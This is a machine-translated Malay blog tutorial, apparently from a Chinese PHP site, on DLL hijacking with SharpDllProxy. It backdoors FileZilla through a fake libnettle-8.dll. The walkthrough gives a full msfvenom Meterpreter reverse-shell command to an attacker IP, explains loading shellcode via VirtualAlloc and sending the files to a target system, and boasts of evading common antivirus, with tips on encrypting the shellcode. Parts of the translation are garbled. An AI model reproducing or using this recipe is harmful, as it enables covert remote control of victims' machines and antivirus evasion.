Rampasan DLL
Selepas versi Windows 7, sistem menggunakan KnowDLL untuk mengurus DLL, yang terletak di bawah pendaftaran HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs di mana fail DLL di bawah ini akan diharamkan daripada direktori itu sendiri Dipanggil, tetapi hanya boleh dipanggil dari direktori sistem (System32). Sebab untuk rampasan DLL ialah tidak semua DLL ditulis kepada pendaftaran.
Gunakan dll yang dijana oleh msfvenom untuk membunuh serta-merta.
SharpDllProxy
Nama itu kelihatan seperti ia mungkin serupa dengan proksi stokin. Sumber alat daripada: https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. Untuk pelaksanaan khusus, anda juga boleh merujuk blog bos ini.
Kata Pengantar
Pertama fahami prinsip operasi perpustakaan pautan dinamik. Jika aplikasi A mahu menggunakan fungsi GetFunkyData() dalam pustaka pautan dinamik DataFunctions.dll, ia perlu memuatkan pustaka pautan dinamik DataFunctions.dll. Alat ini berdasarkan pertimbangan ini. Ia mencipta pustaka pautan dinamik dengan nama yang sama dengan DataFunction.dll Ia mempunyai dua fungsi: ① Buat kekunci pintasan untuk memajukan semua fungsi ke perpustakaan pautan dinamik DataFunctions.dll , ini adalah asal proksi dalam nama ② Tulis shellcode dalam DataFunctions.dll palsu ini. Dilampirkan gambar asal pengarang:
Proses eksperimen
Program sasaran
Saya mengambil sedikit masa untuk melakukan eksperimen ini, seperti perisian FileZilla, bagaimana saya cari perisian yang perlu dimuatkan Bagaimana dengan dll? Seperti yang penulis katakan, salin perisian dan anda akan tahu apa yang hilang. Seperti berikut:
Ini bermakna fail DLL perlu dimuatkan untuk menjalankan aplikasi, jadi buat libnettle-8.dll palsu untuk DLL ini.
Jana shellcode
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw & Muat turun pertama SharpDllProxy: https://github.com/Flangvik/SharpDllProxy, dan kemudian gunakan visual studio 2019 untuk menyusunnya Cuba untuk tidak menggunakan versi lain, kerana saya menggunakan pelbagai visual studio 2017 It mengambil masa yang lama untuk melaporkan ralat tetapi ia tidak keluar mungkin ada sesuatu yang tidak kena dengan persekitaran. Secara langsung gunakan SharpDllProxy di bawah vs untuk membuka fail --> Jana penyelesaian Gunakan SharpDllProxy.dll untuk mencipta fail libnettle-8.dll palsu. Letakkan shell.bin dan Dll yang perlu dipalsukan ke dalam fail dalam gambar di atas. Jalankan arahan berikut: .SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin Fail yang dijana mengandungi fail C dan dll ini ialah libnettle asal -8.dll fail. Mari analisa program bahasa C ini Dari baris 9 hingga baris 494, semuanya adalah fungsi yang memajukan DLL Semua fungsi yang perlu dijalankan dimajukan ke DLL asal untuk diproses. Talian 497 ialah tempat kami memasukkan shellcode. Ini adalah satu-satunya kod kunci Malah, anda juga boleh terus menulis shellcode.bin ke fail, yang mengurangkan bilangan fail yang mencurigakan. Di sini, kami membaca dan melaksanakan kod shell dalam mod binari melalui operasi memori VirtualAlloc. Pada ketika ini, anda boleh beroperasi sendiri seperti harimau, dan menggunakan pelbagai postur anti-pembunuhan, seperti menukar kaedah pemuatan, seperti menyulitkan kod shell dahulu dan kemudian menyahsulitnya untuk dijalankan. Gunakan VS untuk menyusun fail C di atas. Pilih Baharu di bawah menu Fail, kemudian pilih Projek Perpustakaan Pautan Dinamik dan namakan projek libnettle-8. Salin kod fail C di atas ke dalam VS untuk menyusun Hantar tiga fail di atas (tmpD475.dll, libnettle-8.dll, shell.bin) ke sistem sasaran. Gunakan msf untuk mendengar, kemudian jalankan program, dan sesi akan dikembalikan. Menggunakan perisian anti-virus yang paling biasa digunakan: 360, Tinder dan Safe Manager tidak dikesan.
Atas ialah kandungan terperinci Bagaimana untuk melaksanakan pemajuan proksi DLL dan analisis weiquan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!